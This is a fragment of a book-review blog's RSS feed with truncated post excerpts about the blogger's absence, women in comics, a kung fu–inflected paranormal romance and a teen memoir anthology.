		<description><![CDATA[Right, so, bad me. It&#8217;s been over six months since I posted a review. We won&#8217;t even bother counting the latest list entry. Why have I been absent? I can&#8217;t say there&#8217;s one definitive reason. Life got very busy in the fall and I wasn&#8217;t feeling myself, so that&#8217;s why I haven&#8217;t been around lately. <a href='http://www.thewordofgit.com/readingbackwards/2011/01/six-month-absence-urgh/'>[...]</a>]]></description>

		<description><![CDATA[The field of comics, also sometimes known as graphic novels, is dominated by male creators and readers. However, there's been increasing push in the last few decades by women to enter the field and make their mark. Though comics drawn by women are gaining popularity, most are classified as "indie," distributed by small publishers that may not be able to advertise or place volumes in prominent bookstores.

There was a bit of a kerfuffle in the Blogosphere&#8211;how dare the FTC try to regulate the Internet!?

The serious study required in kung fu appears to have colored her novel, giving the &#8216;paranormal&#8217; elements of this paranormal romance a more grounded feel than most <a href='http://www.thewordofgit.com/readingbackwards/2010/02/chosen-by-desire-3/'>[...]</a>]]></description>

It may seem bizarre to ask teenagers to write memoirs—as Marni says, her siblings laughed—but Louder Than Words is dedicated to “reinforce[ing] the message that the experiences of teenagers and <a href='http://www.thewordofgit.com/readingbackwards/2010/01/louder-than-words-marni/'>[...]</a>]]></description>
